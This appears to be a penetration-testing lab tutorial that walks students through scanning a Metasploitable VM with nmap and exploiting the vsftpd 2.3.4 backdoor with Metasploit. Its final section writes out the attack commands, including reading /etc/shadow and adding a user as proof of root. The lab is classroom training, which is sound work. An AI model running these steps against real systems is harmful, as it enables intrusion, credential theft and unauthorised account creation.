Bài Thực Hành Metasploit Framework Lesson 2 : Exploiting VSFTPD 2.3.4
Section 0. Background Information |
- Metasploitable
- Pre-Requisite Lab
- Metasploitable : Lesson 1: Downloading and Configuring
- What is VSFTPD?
- vsftpd, which stands for "Very Secure FTP Daemon",is an FTP server for Unix-like systems, including Linux. It is licensed under the GNU General Public License. It supports IPv6 and SSL.
- In July 2011, it was discovered that vsftpd version 2.3.4 downloadable from the master site had been compromised. Users logging into a compromised vsftpd-2.3.4 server may issue a ":)" smileyface as the username and gain a command shell on port 6200. This was not an issue of a security hole in vsftpd, instead, someone had uploaded a different version of vsftpd which contained a backdoor. Since then, the site was moved to Google App Engine.
- exploit/unix/ftp/vsftpd_234_backdoor
- This module exploits a malicious backdoor that was added to the VSFTPD download archive. This backdoor was introduced into the vsftpd-2.3.4.tar.gz archive between June 30th 2011 and July 1st 2011 according to the most recent information available.
- Lab Notes
- In this lab we will do the following:
- Run an intense NMAP Scan on the Metasploitable VM
- Search for VSFTPD
- Exploit the VSFTPD Daemon and obtain root.
- Legal Disclaimer - bài lab chỉ dùng trong môi trường lớp học
Section 1. Start Up the Metasploitable VM |
- Start Up VMWare Player
- Instructions:
- Click the Start Button
- Type Vmplayer in the search box
- Click on Vmplayer
- Open a Virtual Machine
- Instructions:
- Click on Open a Virtual Machine
- Open the Metasploitable VM
- Instructions:
- Navigate to where the Metasploitable VM is located
- Click on on the Metasploitable VM
- Click on the Open Button
- Edit the Metasploitable VM
- Instructions:
- Select Metasploitable2-Linux VM
- Click Edit virtual machine settings
- Edit the Metasploitable VM
- Instructions:
- Click on "Network Adapter NAT"
- Select the radio button "Bridged: Connected directly to the physical network"
- Click on the OK button
- Warning:
- By changing from NAT to Bridged opens the VM and network up to potential attacks.
- To maintain a safe network, you could (1) skip this section and only use the host-only network, (2) unplug your router from the internet, (3) use an ACL to not allow traffic into your network, etc.
- Play the Metasploitable VM
- Instructions:
- Click on the Metasploitable VM
- Click on Play virtual machine
Section 2. Determine Metasploitable IP Address |
- Logging into Metasploitable
- Instructions
- Username: msfadmin
- Password: msfadmin or whatever you changed it to in lesson 1.
- Determine Metasploitable IP Address
- Instructions:
- ifconfig -a
- Note(FYI):
- This is the IP Address of the Victim Machine.
- My IP Address is 192.168.1.109.
- Record your IP Address.
Section 4. Start Up the BackTrack5R1 VM |
- Start Up VMWare Player
- Instructions:
- Click the Start Button
- Type Vmplayer in the search box
- Click on Vmplayer
- Open a Virtual Machine
- Instructions:
- Click on Open a Virtual Machine
- Open the BackTrack5R1 VM
- Instructions:
- Navigate to where the BackTrack5R1 VM is located
- Click on on the BackTrack5R1 VM
- Click on the Open Button
- Edit the BackTrack5R1 VM
- Instructions:
- Select BackTrack5R1 VM
- Click Edit virtual machine settings
- Edit Virtual Machine Settings
- Instructions:
- Click on Network Adapter
- Click on the Bridged Radio button
- Click on the OK Button
- Play the BackTrack5R1 VM
- Instructions:
- Click on the BackTrack5R1 VM
- Click on Play virtual machine
- Login to BackTrack
- Instructions:
- Login: root
- Password: toor or <whatever you changed it to>.
-
- Bring up the GNOME
- Instructions:
- Type startx
-
- Start up a terminal window
- Instructions:
- Click on the Terminal Window
- Obtain the IP Address
- Instructions:
- ifconfig -a
- Note(FYI):
- My IP address 192.168.1.111
- In your case, it will probably be different.
- This is the machine that will be use to attack the victim machine (Metasploitable).
Section 5. Scanning the Victim with NMAP |
- Run Intense NMAP Scan on the Metasploitable VM
- Note(FYI):
- Replace 192.168.1.109 with the Metasploitable IP Address obtained from (Section 2, Step 2).
- This intense NMAP scan could take 3 to 5 minutes to run.
- Instructions:
- nmap -p 1-65535 -T4 -A -v 192.168.1.109 2>&1 | tee /var/tmp/scan.txt
- Looking for vsftp
- Instructions:
- cd /var/tmp
- grep -i vsftp scan.txt
- Note(FYI):
Section 6. Exploit vsftpd 2.3.4 |
- Start the Metasploit Console
- Instructions:
- msfconsole
- Use the VSFTPD v2.3.4 Backdoor Command Execution Exploit
- Instructions:
- search vsftpd
- use exploit/unix/ftp/vsftpd_234_backdoor
- Set RHOST (Victim IP Address)
- Instructions:
- show options
- set RHOST 192.168.1.109
Note(FYI):- Replace 192.168.1.109 with the Metasploitable IP Address obtained from (Section 2, Step 2).
- Exploit
- Instructions:
- exploit
Note(FYI):- Now you should see a Command Shell Session opened between BackTrack to Metasploitable.
- Got Root?
- Instructions:
- whoami
- hostname
- grep root /etc/shadow
Note(FYI):- Congratulations you now have root.
- Proof of Lab
- Instructions:
- whoami
- useradd -m -d /home/student3 -c "Hacked VSFTPD" -s /bin/bash student3
- grep student3 /etc/passwd
- date
- echo "Your Name"
- Put in your actual name in place of "Your Name"
- e.g., echo "John Gray"
- Proof of Lab Instructions
- Press the <Ctrl> and <Alt> key at the same time.
- Press the <PrtScn> key.
- Paste into a word document
- Upload to website Www.AnToanThongTin.Edu.Vn
0 nhận xét:
Đăng nhận xét